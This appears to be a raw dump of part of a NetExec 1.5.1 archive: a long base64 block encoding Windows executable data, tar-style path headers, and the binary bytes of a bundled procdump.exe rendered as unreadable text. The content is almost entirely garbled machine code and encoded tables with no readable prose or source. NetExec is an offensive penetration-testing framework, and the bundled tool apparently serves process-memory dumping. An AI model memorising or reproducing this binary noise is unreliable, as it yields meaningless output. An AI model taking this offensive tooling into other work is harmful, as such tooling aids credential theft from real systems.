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CsoKywrMCs0KzgrPCsAK0QrSCtMK1ArVCtYK1wrYCtkK2grbCtwK3QreCt8K0ArhCuIK4wrkCuUK5grnCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAPACADAAAAAAoBCgIKAwoECgUKBgoHCggKCQoKCgsKDAoNCg4KDwoMCnyKfQpwAAADADAFQBAADQouCi6KLwoviiAKMIoxCjGKMgoyijMKM4o0CjSKNQo1ijEKQgpDCkOKRApEikUKRYpGCkaKR4pICkiKSQpJikoKSopLCkyKTYpOik8KT4pAClCKUQpRilIKUopTClOKVApUilUKVYpWClaKVwpXilgKWIpZClmKWgpailoKuoq7CruKvAq8ir0KvYq+Cr6Kvwq/irAKwIrBCsGKyArIiskKyYrKCsqKywrLiswKzIrNCs2KzgrOis8Kz4rACtCK0QrRitIK0orTCtOK1ArUitUK1YrWCtaK1wrXitgK2IrZCtmK2graitsK24rcCtyK3QreCt6K3wrfitAK4IrhCuGK4griiuMK44rkCuSK5QrliuYK5ornCueK6AroiukK6YrqCuqK6wrriuwK7IrtCu2K7gruiu8K74rgCvCK8QrxivIK8orzCvOK8AAABAAwBEAAAAKKM4o0ijWKNoo3ijiKOYo6ijuKPIo9ij6KP4owikGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopAAAAGADAMAAAABApEikUKRYpKCksKTApNCk4KTwpAClEKUgpTClQKVQpWClcKWApZCloKWwpcCl0KXgpfClAKYQpiCmMKZAplCmYKZwpoCmkKagprCmwKbQpuCm8KYApxCnIKcwp0CnUKdgp3CngKeQp6CnsKfAp9Cn4KfwpwCoEKggqDCoQKhQqGCocKiAqJCooKjAqNCo4KjwqACpEKkgqTCpQKlQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqAHADAHgBAACYpKikuKTIpNik6KT4pAilGKUopTilSKVYpWileKWIpZilqKW4pcil2KXopfilCKYYpiimOKZIplimaKZ4poimmKaoprimyKbYpuim+KYIpxinKKc4p0inWKdop3iniKeYp6inuKfIp9in6Kf4pwioGKgoqDioSKhYqGioeKiIqJioqKi4qMio2KjoqPioCKkYqSipOKlIqVipaKl4qYipmKmoqbipyKnYqeip+KkIqhiqKKo4qkiqWKpoqniqiKqYqqiquKrIqtiq6Kr4qgirGKsoqzirSKtYq2ireKuIq5irqKu4q8ir2Kvoq/irCKwYrCisOKxIrFisaKx4rIismKyorLisyKzYrOis+KwIrRitKK04rUitWK1orXitiK2YraituK3Irdit6K34rQiuGK4orjiuSK5YrmiueK6IrpiuqK64rsiu2K7orviuCK8YryivOK9Ir1ivaK94r4ivmK+or7ivyK/Yr+iv+K8AAACAAwCIAAAACKAYoCigOKBIoFigaKB4oIigmKCooLigyKDYoOig+KAIoRihKKE4oUihWKFooXihiKGYoaihuKHIodih6KH4oQiiGKIoojiiSKJYomiieKKIopiiqKK4osii4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAAAAkAMArAEAAACgEKAgoDCgQKBQoGCgcKCAoJCgoKCwoMCg0KDgoPCgAKEQoSChMKFAoVChYKFwoYChkKGgobChwKHQoeCh8KEAohCiIKIwokCiUKJgonCigKKQoqCisKLAotCi4KLwogCjEKMgozCjQKNQo2CjcKOAo5CjoKOwo8Cj0KPgo/CjAKQQpCCkMKRApFCkYKRwpICkkKSgpLCkwKTQpOCk8KQApRClIKUwpUClUKVgpXClgKWQpaClsKXApdCl4KXwpQnxcKYgpjCmQKZQpmCmcKaAppCmoKawpsCm0KbgpvCmAKcQpyCnMKdAp1CnYKdwp4CnkKegp7CnwKfQp+Cn8KcAqBCoIKgwqECoUKhgqHCogKiQqKCosKjAqNCo4KjwqACpEKkgqTCpQKlQqWCpcKmAqZCpoKmwqcCp0KngqfCpAKoQqiCqMKpAqlCqYKpwqoCqkKqgqrCqwKrQquCq8KoAqxCrIKswq0CrUKtgq3CrgKuQq6CrsKvAq9Cr4KvwqwCsEKwgrDCsQKxQrGCscKyArJCsoKywrMCs0KzgrPCsAK0QrQCwAwAcAAAAWK1wrXitAK4YriCuKK4wrjiuAAAAEAQAgAAAAHCheKGAoYihkKGYoaChqKGwobihyKHQodih4KHoofCh+KEAogiiGKIgokCioKLoogijKKNIo2ijmKOwo7ijwKP4owCksKa4psCmyKYgrDCsWKyArKis0KwArSitUK14raCtyK3wrSCuSK5wrrCuAK9Qr5ivwK/4rwAgBAAcAAAAKKBIoHigoKDIoPigMKFYoYChsKEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==NetExec-1.5.1/nxc/data/procdump/000077500000000000000000000000001514706431700164135ustar00rootroot00000000000000NetExec-1.5.1/nxc/data/procdump/procdump.exe000066400000000000000000030126301514706431700207540ustar00rootroot00000000000000MZ@ !L!This program cannot be run in DOS mode. $ Rbbbabg&bfbmb fb ab gbqbcbc3bkbҝbb`bRichbPELNc !bh@@  @9x ' (,`#p$"@.textab `.rdataf@@.data.P 2@.rsrcx>@@.reloc(, . @B{hpC`VYjjjj́C~Ejjjj́C~E̸0fEUujuRQp0H]UPE3ĉ$Vuu^$3N]?xhPCDCPfE5pfED$hCPV D$PjhЁCȅuD$PQjQ́Cȅ ~EjD$ D$ jPjL$C=uNF;L=xfEj5XECxfE^$3M]=gEthDjj; 5~EtfEC5Ch@5gE=uD=gEt,2,h5gE=u h؉Djj; jCP؀C$3^3M]UEPju hup0H]UPE3ʼnEWtnVhjPh Dž3PāCtw u 9v VjWC^_M3EL]jWȁCM33_,L]Uu jRQp0]UQE PQjUY]UQVujM QjVPp0^]UQU EPQuMi Y]Uu jRQ>p0]UQE PQj(UY]UPE3ĉ$SVWL$ 3fD$WPD$,fD$4fD$VEEPEPjjhLDu8Cu(C^u 39E]3]UPE3ʼnEhQDhtODhODhPtODKu5tOD8u"$uM3>]ËM3>]USVWSuC?~7]fhMD4t h4MD4t F;7|_^3[]_^[]UEPju up0]UEPju up0t]U0PE3ʼnESV3W;}~yhOD4-t'hOD4tFDž;3|36B;}DFB;|BWj-PPCPӃtjPWu0 u"hWqPyhPDWq#hPVCPPĂCV(WVjPCOD%ODϋPD(PDHPDjCPWVh`PDu.jPjP5jPjP#M3_3^[h;]UPE3ʼnESVWhPQCPPĂCVWVjPCODODϋPDϋ(PDHPDjCPCWSVh`PDujPgjjqPPj^PMM_^3[6:]UPE3ʼnESfVPPhPDSCVAPPhPDhP?PPPSCM^3#[9]U(EPE3ʼnEEWSVWhڍfEjPfEZU ƅ3DžDžP@PWhQDS0C0QDLQDtDPhVD=8CPEƅPDžPjhPDׅu t3fE썅DžPDžPPjhQD׋u t 3f(CMQffu+tRMPEPjjhPDS,Ct<LQDDVhHTD_^[M37]hPDSCQffu+tUMPPjjhQDS,Ct<LQDDVhTDP_^[M3'7]hQDSCt3hQDSCLQDt!DPhPQDLQDhWDDVhUDMQfffu+tEPh(VD hWDQfDffu+t'Ph`VD^_^[M356]hXD>M_^3[6]U츄sBPE3ʼnESVW|DžPPjhjjjh`XDh Ct hXD_^[M35]ËhWjPfEfEQ hjPvQ hPjC(CDžPEDžPPjhPDW8Cu t3fEDžPDžPPjhQDW8Cu t 3fPPzCPhjhQDW0CuWhQDWDžCt-hLQDhPQD8Ӌ_^[M34]ËDžPDžPjhjjjhQDW CMQffu+tTMPEPjjhPD,Ct-hLQDhRDӋ_^[M3S3]ÍQffu+tWMPPjjhQD,Ct-hLQDhRDӋ_^[M32]hTSDEjP hXSDhP PhP+ hXSDhP h\SDhP ~PthxSDhP ~QthSDhP ~UthSDhP ~RthSDhP} ~StR@WEhSDjPEEhSDhP=EPhP% ~TtLhSDhP DhP hXSDhP HthSDhP ~thSDhP t\jMPEPjjhPD,Cth0QDhRD xQffu+tAMPPjjhQD,Cth0QDhRD(ChTSDEjP hXSDhP PhP hXSDhP h\SDhP ~PthxSDhP ~QthSDhP` ~UthSDhPA ~RthSDhP" ~StR@WEhSDjPEEhSDhPEPhP ~TtLhSDhP DhP hXSDhPx HthSDhPV ~thSDhP4 t\j VVVhRPQ0uJQffu+q6P趲tQVP 3PQPQPQPQPQ^_[M3!]ËMW_3[{!]U0‰EЅQIVURhl[DQEExAEUERPQx}tEURPQ(EPQEURh[DPEURPQMu WwUSRh[DQ3XE؍URVVjPQ Mnu8EURPQu5EPQMM]6tυuEURPQ]܉u܋EPQEPQu WMWQS3PMQSP EURhL[DPQ8u)EURVVh[DuPQpu}ԋEPQEPQ=EURWSPQ $Mu W UERhl[DQExAEUERPQx}tEURPQ(EPQEURh\[DPuuEUERPQ$uVEtOEPPt4UEMWP2AQRV(uE3f GEЉ8WEPQEPQ ;DMQP_SPM[QPEPQEPQ^]øW]UPE3ʼnEVuW^M3]ËSWQV3P ؅y_QVP؅RRPQ؅RPQ ؅RhL[DPQ8hSPL9 SSShRPQ0؅uGQffu+q6P菭tPVW 3PQPQPQuU([Dff;uftfPf;Qufu33ۅW_[^M3;]ËM@D3_[^]UVF8gDFfDtPCFEt jV^]UW}Gt h[DEu W_] U SV$gD ;usEW8P^[3_] ʾgD ;usEW8P^[3_] gD ;u*sύGW#ȋEP^[3_] ^[@_] UVuFt h[DF @^]UVW}Gt h[Drw Nu 